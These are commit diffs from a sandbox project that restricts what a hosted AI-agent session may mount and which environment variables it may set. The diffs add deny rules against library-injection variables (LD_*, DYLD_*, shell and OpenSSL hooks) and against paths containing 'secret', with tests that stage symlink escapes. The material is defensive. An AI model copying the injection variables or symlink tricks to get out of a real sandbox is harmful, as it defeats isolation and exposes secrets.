Compare commits
22
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
bbbefb3f28 | ||
|
|
2f91ff5bea | ||
|
|
1ca3a38f86 | ||
|
|
cb80b2b8a8 | ||
|
|
fd300b4fe3 | ||
|
|
a88302d6eb | ||
|
|
820f45e474 | ||
|
|
2e9a2068bd | ||
|
|
fe6c22e0f2 | ||
|
|
9eed814d3c | ||
|
|
7ee606cda2 | ||
|
|
b2d52b57c1 | ||
|
|
cbf1836bd7 | ||
|
|
6fe3625fae | ||
|
|
24551c9eea | ||
|
|
cad9cd057f | ||
|
|
4f24501801 | ||
|
|
02e053866a | ||
|
|
ff096afa27 | ||
|
|
70af20e29d | ||
|
|
d92cdefc1d | ||
|
|
9994f89790 |
No files matched your search
@@ -258,6 +258,24 @@ export returns:
|
||||
`gateTimeout`, `bundle`, `env`, `turnEnd`, `outputPolicy` and `transcript` give its
|
||||
sandbox binds, web, tool names, S0 lines, bundle files, adapter variables,
|
||||
how a turn ends and where its transcripts land.
|
||||
- `envNames` and `installRoots({env})` (#1873 triage-fences) are optional and
|
||||
outside `kinds.mjs`. A session the Console hosts with no organization
|
||||
(Triage) reads them; organization launches do not. `envNames` lists the
|
||||
names `env()` returns, less the provider's. The host takes a route's
|
||||
`harnessEnv` name only when it is listed here and is not one the host
|
||||
always refuses: `MOSAIC_*`, `NODE_*`, `LD_*`, `DYLD_*`, `PYTHON*`, `BASH_*`,
|
||||
`GIT_*`, `MALLOC_*`, `NPM_CONFIG_*`, `XDG_*`, any name ending in `_DIR`,
|
||||
`_CONF` or `_CONFIG`, PATH, HOME, TMPDIR, ENV, the founder's and the
|
||||
provider's names, and named shell, proxy, libc, OpenSSL and Java hooks. `installRoots` lists the directories
|
||||
where the adapter and the mounts live. A hosted adapter or mount source
|
||||
must resolve inside one of them, and never in or around the data root,
|
||||
the config directory, HOME, `/srv/mosaic` or a path with a `secret`
|
||||
segment. HOME does not count against a source inside the stack's own
|
||||
code, so a copy or a worktree under HOME still passes. Every claude-code
|
||||
name is `MOSAIC_*`, so a hosted session cannot run Claude Code yet. pi's
|
||||
`MOSAIC_TOOLS`, `MOSAIC_EXTENSIONS` and `MOSAIC_THINKING` are refused the
|
||||
same way, so a hosted pi gets no tools and no extension until the host
|
||||
sets those names itself.
|
||||
- `compactions({store, cursors, budget, streams, first})` reads a thread
|
||||
session's native store for row 270's compaction count (row 307). Core keeps
|
||||
the ledger (`packages/seat/src/compactions.mjs`) and passes `store` as
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
// session.json. packages/plugins/README.md lists the interface.
|
||||
import { spawnSync } from "node:child_process";
|
||||
import { accessSync, constants, realpathSync, statSync } from "node:fs";
|
||||
import { delimiter, isAbsolute, join } from "node:path";
|
||||
import { delimiter, dirname, isAbsolute, join } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { claudeBuiltins, MCP_PREFIX } from "../../../harness/src/gate.mjs";
|
||||
import { hasSessionCredential, SESSION_CREDENTIALS } from "../../../seat/src/session.mjs";
|
||||
@@ -145,6 +145,16 @@ export function env({ files, policy, session, proxy = null }) {
|
||||
};
|
||||
}
|
||||
|
||||
// #1873 triage-fences: the names env() returns, less the proxy's, and the directories its adapter
|
||||
// and mounts live in: the pinned binary's when MOSAIC_CLAUDE_BIN is set. A hosted session's host
|
||||
// (Triage) takes harnessEnv names and mount sources only from these; launches don't read them.
|
||||
export const envNames = Object.freeze(["MOSAIC_TOOLS", "MOSAIC_CLAUDE_SETTINGS", "MOSAIC_CLAUDE_MCP_CONFIG", "MOSAIC_THINKING", "MOSAIC_MODEL_ACTIVITY_SOURCE"]);
|
||||
export function installRoots({ env = {} } = {}) {
|
||||
const roots = [join(REPO, "adapters", "claude"), join(REPO, "tools", "unslop-hook")];
|
||||
if (env.MOSAIC_CLAUDE_BIN) roots.push(dirname(realpathSync(env.MOSAIC_CLAUDE_BIN)));
|
||||
return roots;
|
||||
}
|
||||
|
||||
// A turn ends when claude exits; there is no marker.
|
||||
export const turnEnd = () => "exit";
|
||||
export const transcript = ({ runDir, store = null }) => (store ? store.projects : join(runDir, "home", ".claude", "projects"));
|
||||
|
||||
@@ -118,6 +118,14 @@ export function env({ policy, tools, session, proxy = null }) {
|
||||
};
|
||||
}
|
||||
|
||||
// #1873 triage-fences: the names env() returns, less the provider key, and the directories its
|
||||
// adapter and mounts live in. A hosted session's host (Triage) takes harnessEnv names and mount
|
||||
// sources only from these; launches don't read them. The host refuses every MOSAIC_* name from a
|
||||
// route, so MOSAIC_TOOLS, MOSAIC_EXTENSIONS and MOSAIC_THINKING are listed only to say what env()
|
||||
// hands a session: a hosted pi needs the host to set them itself (a later slice).
|
||||
export const envNames = Object.freeze(["PI_OFFLINE", "MOSAIC_TOOLS", "MOSAIC_EXTENSIONS", "PI_PROVIDER", "PI_MODEL", "MOSAIC_THINKING"]);
|
||||
export const installRoots = () => [join(REPO, "adapters", "pi"), join(REPO, "packages", "plugins", "harness", "pi"), realpathSync(join(REPO, "node_modules")), join(REPO, "tools", "unslop-hook")];
|
||||
|
||||
// The extension writes the turn marker at agent_end; an exit without it is a failed turn.
|
||||
export const turnEnd = () => "marker";
|
||||
export const transcript = ({ runDir, store = null }) => (store ? store.session : join(runDir, "session"));
|
||||
|
||||
@@ -34,7 +34,7 @@
|
||||
// the launch (sandbox-unavailable).
|
||||
|
||||
import { spawnSync } from "node:child_process";
|
||||
import { existsSync, lstatSync, mkdirSync, readlinkSync, realpathSync } from "node:fs";
|
||||
import { existsSync, lstatSync, mkdirSync, readlinkSync, realpathSync, statSync } from "node:fs";
|
||||
import { dirname, isAbsolute, join, relative, resolve } from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import { ID_PATTERN } from "../../organization/src/vocabulary.mjs";
|
||||
@@ -193,6 +193,155 @@ export function sandboxArgv(list, runDir, command, { business, role, bwrap = BWR
|
||||
return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", ...identity, "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command];
|
||||
}
|
||||
|
||||
// #1873 triage-fences: what a model route may hand a hosted session, checked before the host
|
||||
// writes anything and again in hostedBinds. The adapter and each mount's source must be a clean
|
||||
// absolute path whose real path lies under one of the harness module's install roots, named under
|
||||
// that same root, and outside every protected path: the data root, the config directory and HOME
|
||||
// the caller passes, the run directory, ALWAYS_PROTECTED, and any path with a segment that
|
||||
// contains "secret" in any case. A protected path counts in its own spelling and its real path, and
|
||||
// a source may neither lie inside one nor contain one. The bind's source is the real path, so a
|
||||
// link swapped after the check cannot steer it. A mount's dest (its source when it names none) is
|
||||
// never /tmp, the run directory or a system bind's dest, nor inside or around one, never a parent
|
||||
// of or equal to a runner file, the adapter or node, and never in or around another mount's dest.
|
||||
// At most HOSTED_MOUNTS_MAX mounts. A refusal is a HostedRouteError naming its fence, never a path.
|
||||
// `codeRoot` is the stack's own code and `codeHolder` the one protected path that may hold it:
|
||||
// HOME, when the stack runs from a copy or a worktree under it. That path does not refuse a source
|
||||
// whose named and real paths both lie in the code root. Every other check still applies to it, and
|
||||
// no other protected path, the run directory or ALWAYS_PROTECTED is ever set aside. A code root in
|
||||
// or around the run directory or ALWAYS_PROTECTED, in either path's spelling or real path, is refused.
|
||||
export const HOSTED_MOUNTS_MAX = 8;
|
||||
const ROOTS_MAX = 16;
|
||||
const PATH_MAX = 4096;
|
||||
const ALWAYS_PROTECTED = Object.freeze(["/srv/mosaic", "/proc", "/sys", "/dev", "/run", "/root", "/boot"]);
|
||||
const MOUNT_KEYS = Object.freeze(["src", "dest", "why"]);
|
||||
|
||||
export class HostedRouteError extends Error {
|
||||
constructor(fence, message) {
|
||||
super(`hosted binds: ${message}`);
|
||||
this.code = "hosted-binds-refused";
|
||||
this.fence = fence;
|
||||
}
|
||||
}
|
||||
const refuseRoute = (fence, message) => { throw new HostedRouteError(fence, message); };
|
||||
|
||||
// Absolute, already normal (no "..", ".", "//" or trailing slash), not "/", no NUL.
|
||||
const cleanPath = (p) => typeof p === "string" && p.length > 1 && p.length <= PATH_MAX && !p.includes("\0") && isAbsolute(p) && resolve(p) === p;
|
||||
const within = (child, parent) => child === parent || child.startsWith(parent + "/");
|
||||
const overlaps = (a, b) => within(a, b) || within(b, a);
|
||||
const secretPath = (p) => p.split("/").some((seg) => /secret/i.test(seg));
|
||||
const realOr = (p) => { try { return realpathSync(p); } catch { return p; } };
|
||||
const plainObject = (o) => o !== null && typeof o === "object" && !Array.isArray(o) && [Object.prototype, null].includes(Object.getPrototypeOf(o));
|
||||
|
||||
export function checkHostedRoute({ adapter, harnessMounts, installRoots, protectedPaths, codeRoot = null, codeHolder = null, runDir, node = process.execPath }) {
|
||||
if (!cleanPath(runDir)) refuseRoute("protected", "the run directory is not a clean absolute path");
|
||||
if (!Array.isArray(protectedPaths)) refuseRoute("protected", "no protected paths were given");
|
||||
// Lists are copied once, so a Proxy cannot answer one length to a check and another to the map.
|
||||
protectedPaths = Array.from(protectedPaths);
|
||||
let code = null;
|
||||
if (codeRoot !== null) {
|
||||
if (!cleanPath(codeRoot)) refuseRoute("protected", "the code root is not a clean absolute path");
|
||||
if (!protectedPaths.includes(codeHolder)) refuseRoute("protected", "the code root's holder is not a protected path");
|
||||
code = [codeRoot, realOr(codeRoot)];
|
||||
const fixed = [runDir, ...ALWAYS_PROTECTED].flatMap((g) => [g, realOr(g)]);
|
||||
if (code.some((c) => fixed.some((g) => overlaps(c, g)))) refuseRoute("protected", "the code root is in or around a path that is never set aside");
|
||||
}
|
||||
// Each guarded entry: its spellings, and whether a source in the code root is clear of it.
|
||||
const guarded = [];
|
||||
for (const [p, mayHoldCode] of [...ALWAYS_PROTECTED.map((g) => [g, false]), ...protectedPaths.map((g) => [g, g === codeHolder]), [runDir, false]]) {
|
||||
if (!cleanPath(p)) refuseRoute("protected", "a protected path is not a clean absolute path");
|
||||
const spellings = [p, realOr(p)];
|
||||
const holdsCode = mayHoldCode && code !== null && spellings.some((g) => code.some((c) => c !== g && within(c, g)));
|
||||
guarded.push({ spellings, holdsCode });
|
||||
}
|
||||
if (!Array.isArray(installRoots)) refuseRoute("roots", "the harness module declares no usable install roots");
|
||||
installRoots = Array.from(installRoots);
|
||||
if (installRoots.length === 0 || installRoots.length > ROOTS_MAX) refuseRoute("roots", "the harness module declares no usable install roots");
|
||||
const roots = installRoots.map((r) => {
|
||||
if (!cleanPath(r)) refuseRoute("roots", "an install root is not a clean absolute path");
|
||||
let real;
|
||||
try { real = realpathSync(r); } catch { refuseRoute("roots", "an install root is missing"); }
|
||||
if (real === "/" || !statSync(real).isDirectory()) refuseRoute("roots", "an install root is not a directory");
|
||||
return { named: r, real };
|
||||
});
|
||||
const source = (src, fence, what) => {
|
||||
if (!cleanPath(src)) refuseRoute(fence, `${what} is not a clean absolute path`);
|
||||
let real;
|
||||
try { real = realpathSync(src); } catch { refuseRoute(fence, `${what} is missing`); }
|
||||
if (!roots.some((r) => (within(src, r.named) || within(src, r.real)) && within(real, r.real))) refuseRoute(fence, `${what} is not under an install root`);
|
||||
const inCode = code !== null && code.some((c) => within(src, c)) && within(real, code[1]);
|
||||
if (guarded.some((g) => !(g.holdsCode && inCode) && [src, real].some((p) => g.spellings.some((s) => overlaps(p, s))))) refuseRoute(fence, `${what} is in or around a protected path`);
|
||||
if ([src, real].some(secretPath)) refuseRoute(fence, `${what} is in a secrets path`);
|
||||
return real;
|
||||
};
|
||||
const adapterReal = source(adapter, "adapter", "the adapter");
|
||||
if (!statSync(adapterReal).isFile()) refuseRoute("adapter", "the adapter is not a file");
|
||||
if (!Array.isArray(harnessMounts)) refuseRoute("mounts", `a hosted session takes at most ${HOSTED_MOUNTS_MAX} harness mounts`);
|
||||
harnessMounts = Array.from(harnessMounts);
|
||||
if (harnessMounts.length > HOSTED_MOUNTS_MAX) refuseRoute("mounts", `a hosted session takes at most ${HOSTED_MOUNTS_MAX} harness mounts`);
|
||||
const apart = ["/tmp", runDir, ...systemBinds(node).map((b) => b.dest ?? b.src)];
|
||||
const kept = [...RUNNER_FILES, adapter, node];
|
||||
const dests = [];
|
||||
const mounts = harnessMounts.map((m, i) => {
|
||||
const what = `harness mount ${i + 1}`;
|
||||
if (!plainObject(m) || Object.keys(m).some((k) => !MOUNT_KEYS.includes(k))) refuseRoute("mounts", `${what} is not { src, dest, why }`);
|
||||
// Each field is read once, so a getter cannot answer one value to a check and another to the bind.
|
||||
const { src, dest: named, why } = m;
|
||||
if (typeof why !== "string" || !why || why.length > 256) refuseRoute("mounts", `${what} is not { src, dest, why }`);
|
||||
if (named !== undefined && !cleanPath(named)) refuseRoute("mount-dest", `${what}'s dest is not a clean absolute path`);
|
||||
const real = source(src, "mount-src", what);
|
||||
const dest = named ?? src;
|
||||
if (apart.some((p) => overlaps(dest, p)) || kept.some((p) => within(p, dest)) || dests.some((d) => overlaps(dest, d))) refuseRoute("mount-dest", `${what}'s dest would cover a path the session needs`);
|
||||
dests.push(dest);
|
||||
return { src: real, dest, why };
|
||||
});
|
||||
return { adapter: { src: adapterReal, dest: adapter }, mounts };
|
||||
}
|
||||
|
||||
// #1873 triage-host: the binds for a session the Console hosts in no organization (Triage). It
|
||||
// gets the system part, the runner's files, the adapter and the harness module's mounts like any
|
||||
// session, and from the data root exactly two directories: its own `runDir` read-write, and
|
||||
// `healthDir` read-only over runDir/work/health, inside the workspace the read tools' gate allows. The run's bundle/, session.json and the relay socket the runner
|
||||
// calls through stay read-only inside it, and its tmp/ is /tmp. There is no workspace, broker,
|
||||
// launch or git socket, thread store or org root. Each source inside runDir must be what the host
|
||||
// just made there, never a link the session left: bwrap resolves a bind's source on the host.
|
||||
// The adapter and the mounts pass checkHostedRoute against `installRoots`, `protectedPaths` and
|
||||
// `codeRoot` with its `codeHolder` here too; without install roots nothing binds.
|
||||
export function hostedBinds({ runDir, healthDir, adapter, harnessMounts = [], installRoots, protectedPaths, codeRoot = null, codeHolder = null, relaySocket, node = process.execPath, readOnly = [] }) {
|
||||
if (relaySocket !== join(runDir, "relay.sock")) throw new Error("hosted binds: the relay socket must be the run directory's relay.sock");
|
||||
const healthDest = join(runDir, "work", "health");
|
||||
for (const p of [runDir, healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work"), healthDest]) {
|
||||
let st;
|
||||
try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is missing`); }
|
||||
if (st.isSymbolicLink() || !st.isDirectory()) throw new Error(`hosted binds: ${p === healthDir ? "the health directory" : relative(runDir, p) || "the run directory"} is not a directory`);
|
||||
}
|
||||
for (const [p, ok] of [[join(runDir, "session.json"), (st) => st.isFile()], [relaySocket, (st) => st.isSocket()]]) {
|
||||
let st;
|
||||
try { st = lstatSync(p); } catch { throw new Error(`hosted binds: ${relative(runDir, p)} is missing`); }
|
||||
if (!ok(st)) throw new Error(`hosted binds: ${relative(runDir, p)} is not what the host made`);
|
||||
}
|
||||
const route = checkHostedRoute({ adapter, harnessMounts, installRoots, protectedPaths, codeRoot, codeHolder, runDir, node });
|
||||
const out = systemBinds(node);
|
||||
for (const f of RUNNER_FILES) out.push({ kind: "ro", src: f, why: "a repository file the runner loads" });
|
||||
out.push({ kind: "ro", src: route.adapter.src, ...(route.adapter.src !== adapter ? { dest: adapter } : {}), why: "the harness adapter the runner starts each turn" });
|
||||
for (const m of route.mounts) out.push({ kind: "ro", src: m.src, ...(m.dest !== m.src ? { dest: m.dest } : {}), why: m.why });
|
||||
for (const f of readOnly) out.push({ kind: "ro", src: f, why: "a test fixture" });
|
||||
out.push(
|
||||
{ kind: "rw", src: runDir, why: "the session's own state: turns/, session/, work/, tools.sock, turn.done, home/, tmp/" },
|
||||
{ kind: "ro", src: healthDir, dest: healthDest, why: "the health snapshots the Console writes, read-only, inside the workspace the read tools reach" },
|
||||
{ kind: "ro", src: join(runDir, "bundle"), why: "the run's bundle stays as the host wrote it" },
|
||||
{ kind: "ro", src: join(runDir, "session.json"), why: "the session file stays as the host wrote it" },
|
||||
{ kind: "ro", src: relaySocket, why: "the host's relay, the only broker the runner reaches" },
|
||||
{ kind: "rw", src: join(runDir, "tmp"), dest: "/tmp", why: "a private /tmp, on disk in the run directory" },
|
||||
);
|
||||
return out;
|
||||
}
|
||||
|
||||
// The command line for a hosted session: as sandboxArgv, with no git identity, since a hosted
|
||||
// session belongs to no organization and holds no git verb.
|
||||
export function hostedArgv(list, runDir, command, { bwrap = BWRAP } = {}) {
|
||||
return [bwrap, ...NAMESPACES, ...argsOf(list), "--remount-ro", "/", "--setenv", "HOME", join(runDir, "home"), "--setenv", "TMPDIR", "/tmp", "--chdir", runDir, "--", ...KILL_WITH_PARENT, ...command];
|
||||
}
|
||||
|
||||
// Whether bwrap runs here at all: the namespaces and the system binds, then
|
||||
// setpriv and `true`. Returns null, or why not.
|
||||
export function sandboxProblem({ bwrap = BWRAP } = {}) {
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
// #1873 triage-host: the binds of a session the Console hosts in no organization. From the data root
|
||||
// it gets its own run directory and the health directory, read-only, and nothing else; every source
|
||||
// inside the run directory must be what the host made, never a link.
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { createServer } from "node:net";
|
||||
import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs";
|
||||
import { dirname, join } from "node:path";
|
||||
import { HOSTED_MOUNTS_MAX, RUNNER_FILES, checkHostedRoute, hostedArgv, hostedBinds } from "../src/sandbox.mjs";
|
||||
|
||||
function layout(t) {
|
||||
const root = mkdtempSync(join(process.env.TMPDIR, "hb-"));
|
||||
const dataRoot = join(root, "data");
|
||||
const runDir = join(dataRoot, "triage", "agent");
|
||||
const healthDir = join(dataRoot, "triage", "health");
|
||||
for (const d of [join(dataRoot, "orgs"), join(dataRoot, "triage", "host"), healthDir, join(runDir, "bundle"), join(runDir, "tmp"), join(runDir, "work", "health")]) mkdirSync(d, { recursive: true });
|
||||
writeFileSync(join(runDir, "session.json"), "{}");
|
||||
const install = join(root, "install");
|
||||
mkdirSync(install);
|
||||
const adapter = join(install, "adapter.sh");
|
||||
writeFileSync(adapter, "exit 0\n");
|
||||
return new Promise((resolve) => {
|
||||
const server = createServer().listen(join(runDir, "relay.sock"), () => {
|
||||
t.after(() => server.close());
|
||||
resolve({ root, dataRoot, runDir, healthDir, adapter, install, relaySocket: join(runDir, "relay.sock"), installRoots: [install], protectedPaths: [dataRoot] });
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
test("hosted binds hold the run directory and the health directory of the data root, and nothing else of it", async (t) => {
|
||||
const p = await layout(t);
|
||||
const list = hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths });
|
||||
const fromData = list.filter((b) => typeof b.src === "string" && b.src.startsWith(p.dataRoot + "/"));
|
||||
assert.deepEqual(fromData.map((b) => [b.kind, b.src, b.dest ?? null]), [
|
||||
["rw", p.runDir, null],
|
||||
["ro", p.healthDir, join(p.runDir, "work", "health")],
|
||||
["ro", join(p.runDir, "bundle"), null],
|
||||
["ro", join(p.runDir, "session.json"), null],
|
||||
["ro", p.relaySocket, null],
|
||||
["rw", join(p.runDir, "tmp"), "/tmp"],
|
||||
]);
|
||||
for (const f of RUNNER_FILES) assert.ok(list.some((b) => b.kind === "ro" && b.src === f), f);
|
||||
assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter));
|
||||
assert.ok(!list.some((b) => b.src === p.root || b.src === p.dataRoot || (typeof b.src === "string" && b.src.startsWith(join(p.dataRoot, "orgs")))));
|
||||
assert.ok(!list.some((b) => b.src === process.env.HOME || b.dest === process.env.HOME));
|
||||
assert.ok(list.every((b) => typeof b.why === "string" && b.why.length > 0));
|
||||
});
|
||||
|
||||
test("hosted binds refuse a relay socket elsewhere, and any source in the run directory that the host did not make", async (t) => {
|
||||
const p = await layout(t);
|
||||
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths };
|
||||
assert.throws(() => hostedBinds({ ...base, relaySocket: join(p.root, "bus.sock") }), /relay socket must be the run directory's relay\.sock/);
|
||||
// A link in place of each directory the binds read: bwrap would follow it on the host.
|
||||
for (const d of ["bundle", "tmp", "work"]) {
|
||||
rmSync(join(p.runDir, d), { recursive: true });
|
||||
symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, d));
|
||||
assert.throws(() => hostedBinds(base), /is not a directory/, d);
|
||||
rmSync(join(p.runDir, d));
|
||||
mkdirSync(join(p.runDir, d === "work" ? join("work", "health") : d), { recursive: true });
|
||||
}
|
||||
rmSync(join(p.runDir, "work", "health"), { recursive: true });
|
||||
symlinkSync(join(p.dataRoot, "triage", "host"), join(p.runDir, "work", "health"));
|
||||
assert.throws(() => hostedBinds(base), /is not a directory/);
|
||||
rmSync(join(p.runDir, "work", "health"));
|
||||
mkdirSync(join(p.runDir, "work", "health"));
|
||||
rmSync(join(p.runDir, "session.json"));
|
||||
symlinkSync(join(p.dataRoot, "orgs"), join(p.runDir, "session.json"));
|
||||
assert.throws(() => hostedBinds(base), /session\.json is not what the host made/);
|
||||
rmSync(join(p.runDir, "session.json"));
|
||||
writeFileSync(join(p.runDir, "session.json"), "{}");
|
||||
assert.throws(() => hostedBinds({ ...base, healthDir: join(p.root, "absent") }), /the health directory is missing/);
|
||||
hostedBinds(base);
|
||||
});
|
||||
|
||||
test("the hosted command line sets no git identity and runs the command under the namespaces", async (t) => {
|
||||
const p = await layout(t);
|
||||
const argv = hostedArgv(hostedBinds({ runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths }), p.runDir, ["node", "runner.mjs", p.runDir], { bwrap: "/b/bwrap" });
|
||||
assert.equal(argv[0], "/b/bwrap");
|
||||
assert.deepEqual(argv.slice(1, 5), ["--unshare-user", "--unshare-pid", "--unshare-ipc", "--as-pid-1"]);
|
||||
assert.deepEqual(argv.slice(-3), ["node", "runner.mjs", p.runDir]);
|
||||
assert.ok(!argv.some((a) => a.startsWith("GIT_")));
|
||||
const home = argv.indexOf("HOME");
|
||||
assert.equal(argv[home + 1], join(p.runDir, "home"));
|
||||
assert.ok(argv.includes("--remount-ro"));
|
||||
});
|
||||
|
||||
// #1873 triage-fences: hostedBinds checks the adapter and the mounts again, so a caller that skips
|
||||
// the host's own check still binds nothing outside the install roots.
|
||||
test("hosted binds refuse without install roots or protected paths, and refuse an adapter or a mount source outside the roots or in a protected path", async (t) => {
|
||||
const p = await layout(t);
|
||||
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: p.adapter, relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths };
|
||||
const refused = (opts, fence, label) => assert.throws(() => hostedBinds({ ...base, ...opts }), (e) => e.code === "hosted-binds-refused" && e.fence === fence, label);
|
||||
refused({ installRoots: undefined }, "roots", "no roots");
|
||||
refused({ installRoots: [] }, "roots", "empty roots");
|
||||
refused({ installRoots: ["/"] }, "roots", "root /");
|
||||
refused({ installRoots: [join(p.root, "absent")] }, "roots", "missing root");
|
||||
refused({ installRoots: [p.adapter] }, "roots", "a file as root");
|
||||
refused({ protectedPaths: undefined }, "protected", "no protected paths");
|
||||
refused({ protectedPaths: ["relative"] }, "protected", "relative protected path");
|
||||
writeFileSync(join(p.root, "out.sh"), "x");
|
||||
refused({ adapter: join(p.root, "out.sh") }, "adapter", "adapter outside");
|
||||
symlinkSync(join(p.root, "out.sh"), join(p.install, "link.sh"));
|
||||
refused({ adapter: join(p.install, "link.sh") }, "adapter", "adapter link out");
|
||||
refused({ adapter: p.install }, "adapter", "adapter is a directory");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "link.sh"), why: "w" }] }, "mount-src", "mount link out");
|
||||
refused({ harnessMounts: [{ src: join(p.dataRoot, "orgs"), why: "w" }], installRoots: [p.root] }, "mount-src", "mount in the data root");
|
||||
refused({ harnessMounts: [{ src: p.root, why: "w" }], installRoots: [p.root] }, "mount-src", "mount around the data root");
|
||||
mkdirSync(join(p.install, "secrets"));
|
||||
writeFileSync(join(p.install, "secrets", "k"), "x");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "secrets", "k"), why: "w" }] }, "mount-src", "mount in secrets");
|
||||
writeFileSync(join(p.install, "m"), "x");
|
||||
refused({ harnessMounts: Array.from({ length: HOSTED_MOUNTS_MAX + 1 }, (_, i) => ({ src: join(p.install, "m"), dest: `/opt/m${i}`, why: "w" })) }, "mounts", "too many");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: "/tmp/m", why: "w" }] }, "mount-dest", "dest under /tmp");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: p.runDir, why: "w" }] }, "mount-dest", "dest is the run dir");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: join(p.runDir, "session.json"), why: "w" }] }, "mount-dest", "dest is session.json");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: "/usr", why: "w" }] }, "mount-dest", "dest is a system bind");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "m"), dest: dirname(RUNNER_FILES[0]), why: "w" }] }, "mount-dest", "dest holds a runner file");
|
||||
refused({ harnessMounts: [{ src: join(p.install, "m"), why: "w", kind: "rw" }] }, "mounts", "a kind of its own");
|
||||
});
|
||||
|
||||
test("hosted binds bind the real file of a link that stays inside the install root, at the path the route named", async (t) => {
|
||||
const p = await layout(t);
|
||||
writeFileSync(join(p.install, "real.mjs"), "x");
|
||||
symlinkSync(join(p.install, "real.mjs"), join(p.install, "named.mjs"));
|
||||
symlinkSync(p.adapter, join(p.install, "adapter-link.sh"));
|
||||
const list = hostedBinds({
|
||||
runDir: p.runDir, healthDir: p.healthDir, adapter: join(p.install, "adapter-link.sh"), relaySocket: p.relaySocket, installRoots: p.installRoots, protectedPaths: p.protectedPaths,
|
||||
harnessMounts: [{ src: join(p.install, "named.mjs"), why: "w" }, { src: join(p.install, "real.mjs"), dest: "/opt/real.mjs", why: "w2" }],
|
||||
});
|
||||
assert.ok(list.some((b) => b.kind === "ro" && b.src === p.adapter && b.dest === join(p.install, "adapter-link.sh")));
|
||||
assert.ok(list.some((b) => b.kind === "ro" && b.src === join(p.install, "real.mjs") && b.dest === join(p.install, "named.mjs") && b.why === "w"));
|
||||
assert.ok(list.some((b) => b.kind === "ro" && b.src === join(p.install, "real.mjs") && b.dest === "/opt/real.mjs" && b.why === "w2"));
|
||||
assert.ok(!list.some((b) => b.src === join(p.install, "named.mjs")));
|
||||
});
|
||||
|
||||
test("a protected path that holds the code root (HOME over a copy or a worktree) does not refuse a source inside the code root; everything else still holds", async (t) => {
|
||||
const p = await layout(t);
|
||||
// home/ holds the code root code/, which holds the install root.
|
||||
const home = join(p.root, "home");
|
||||
const code = join(home, "code");
|
||||
const inst = join(code, "inst");
|
||||
mkdirSync(join(inst, "secrets"), { recursive: true });
|
||||
for (const f of ["adapter.sh", "m", join("secrets", "k")]) writeFileSync(join(inst, f), "x");
|
||||
writeFileSync(join(home, "outside"), "x");
|
||||
mkdirSync(join(code, "data"));
|
||||
const base = { runDir: p.runDir, healthDir: p.healthDir, adapter: join(inst, "adapter.sh"), relaySocket: p.relaySocket, installRoots: [inst], protectedPaths: [p.dataRoot, home], codeRoot: code, codeHolder: home };
|
||||
const refused = (opts, fence, label) => assert.throws(() => hostedBinds({ ...base, ...opts }), (e) => e.code === "hosted-binds-refused" && e.fence === fence, label);
|
||||
const list = hostedBinds({ ...base, harnessMounts: [{ src: join(inst, "m"), dest: "/opt/m", why: "w" }] });
|
||||
assert.ok(list.some((b) => b.src === join(inst, "adapter.sh")) && list.some((b) => b.src === join(inst, "m") && b.dest === "/opt/m"));
|
||||
// Without the code root, HOME refuses the same adapter.
|
||||
refused({ codeRoot: null }, "adapter", "no code root");
|
||||
// A code root that is HOME itself sets nothing aside.
|
||||
refused({ codeRoot: home }, "adapter", "code root is HOME");
|
||||
// A source under HOME outside the code root, even inside an install root.
|
||||
refused({ installRoots: [home], adapter: join(home, "outside") }, "adapter", "outside the code root");
|
||||
// A link inside the code root to a file outside it.
|
||||
symlinkSync(join(home, "outside"), join(inst, "out"));
|
||||
refused({ installRoots: [inst, home], harnessMounts: [{ src: join(inst, "out"), why: "w" }] }, "mount-src", "link out of the code root");
|
||||
// A protected path inside the code root still refuses.
|
||||
writeFileSync(join(code, "data", "f"), "x");
|
||||
refused({ installRoots: [code], protectedPaths: [p.dataRoot, home, join(code, "data")], harnessMounts: [{ src: join(code, "data", "f"), why: "w" }] }, "mount-src", "protected path in the code root");
|
||||
// The secrets check still holds inside the code root.
|
||||
refused({ harnessMounts: [{ src: join(inst, "secrets", "k"), why: "w" }] }, "mount-src", "secrets in the code root");
|
||||
// The run directory and the fixed list are never set aside, and a code root around them is refused.
|
||||
refused({ codeRoot: p.root, installRoots: [p.root], harnessMounts: [{ src: join(p.dataRoot, "orgs"), why: "w" }] }, "protected", "code root holds the run dir");
|
||||
refused({ codeRoot: "/srv/mosaic/x" }, "protected", "code root in a fixed path");
|
||||
refused({ codeRoot: "relative" }, "protected", "relative code root");
|
||||
// Only the named holder sets the code aside: another protected path that holds the code still refuses.
|
||||
refused({ protectedPaths: [p.dataRoot, home, p.root] }, "adapter", "a second protected path holds the code");
|
||||
refused({ codeHolder: null }, "protected", "no holder");
|
||||
